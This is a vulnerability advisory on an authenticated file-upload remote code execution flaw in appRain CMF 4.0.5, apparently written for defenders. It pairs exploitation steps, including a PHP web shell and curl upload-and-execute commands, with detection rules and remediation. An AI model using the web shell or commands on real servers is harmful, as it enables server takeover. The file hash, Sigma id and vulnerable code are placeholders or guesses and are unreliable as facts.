CVE-2024-58279

Executive Summary

CVE-2024-58279 is an authenticated remote code execution vulnerability in appRain CMF version 4.0.5. The flaw resides in the file manager upload endpoint, allowing administrative users to upload malicious PHP files. Once uploaded, an attacker can execute arbitrary commands on the server by accessing the uploaded web shell. The vulnerability is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type). No official patch has been released by the vendor, making this a high-risk issue for any organization using this software.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.2 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is High due to the potential for full server compromise despite requiring administrative privileges.

Deep Dive & Mechanics

The vulnerability exists in the file manager component of appRain CMF 4.0.5. The upload endpoint does not properly validate the file type or content, allowing an authenticated admin to upload files with arbitrary extensions, including .php. The uploaded file is stored in the site's uploads directory and can be accessed directly via the web server. Once accessed, the PHP code executes, providing the attacker with a web shell and command execution capabilities.

The attack flow:

1. Authenticate as an admin user.
2. Navigate to the file manager upload endpoint.
3. Upload a crafted PHP file (e.g., shell.php) containing malicious code.
4. Access the uploaded file via its URL to trigger execution.
5. Use the web shell to execute system commands.

Vulnerable vs. Patched Code

Vulnerable Code (appRain CMF 4.0.5): The file manager upload handler likely lacks file type validation. A simplified vulnerable PHP snippet:

<?php
// Vulnerable upload handler
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
?>

Patched Code (Hypothetical): A secure implementation would validate the file extension and MIME type:

<?php
$allowed_extensions = ['jpg', 'png', 'gif', 'pdf'];
$target_dir = "uploads/";
$file_extension = strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
    die("Invalid file type.");
}
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
?>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin credentials for appRain CMF 4.0.5.
• Network access to the target server.

Steps:

1. Log in to the admin panel.
2. Navigate to the file manager upload endpoint (e.g., /admin/filemanager/upload).
3. Create a PHP web shell (e.g., shell.php):

<?php
system($_GET['cmd']);
?>

4. Upload the file via the file manager.
5. Access the uploaded file (e.g., http://target.com/uploads/shell.php?cmd=id).

Example cURL command:

curl -c cookies.txt -b cookies.txt -F "file=@shell.php" http://target.com/admin/filemanager/upload
curl http://target.com/uploads/shell.php?cmd=id

Blue Team (Detection & Response)

Detection:

• Monitor file upload logs for unexpected PHP files.
• Use WAF rules to block uploads of .php files to non-standard directories.
• Implement file integrity monitoring on the uploads directory.

Response:

• Immediately revoke admin credentials if compromise is suspected.
• Remove any unauthorized PHP files from the uploads directory.
• Apply virtual patching via WAF to block file uploads with dangerous extensions.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• Network Indicators:
  • HTTP requests to /uploads/*.php with cmd parameter.
  • Unusual POST requests to /admin/filemanager/upload with file attachments.
• Log Entries:
  • File upload logs showing .php files in the uploads directory.
  • Web server access logs with 200 responses to /uploads/*.php?cmd=*.

Detection Engineering

YARA Rule

rule CVE_2024_58279_Webshell {
    meta:
        description = "Detects PHP web shells uploaded via appRain CMF file manager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-58279"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $cmd_param = "$_GET['cmd']"
    condition:
        $php_tag and $system_call and $cmd_param
}

Sigma Rule

title: Detects PHP Web Shell Upload via appRain CMF
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects upload of PHP files to the uploads directory in appRain CMF
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/filemanager/upload'
        cs-uri-query: '*'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin uploads of PHP files (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-58279 - appRain CMF PHP Web Shell Upload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/filemanager/upload"; http_uri; content:".php"; file_data; pcre:"/<\?php/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file manager upload functionality for non-essential admin users.
2. Implement a WAF rule to block uploads of .php, .phtml, .php5 files.
3. Restrict file permissions on the uploads directory to prevent execution (e.g., remove execute permissions).

Long-term Fix:

• Since no official patch exists, consider migrating away from appRain CMF or applying a custom patch to validate file types.
• Regularly audit admin accounts and monitor file upload logs.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact intel@valters.it.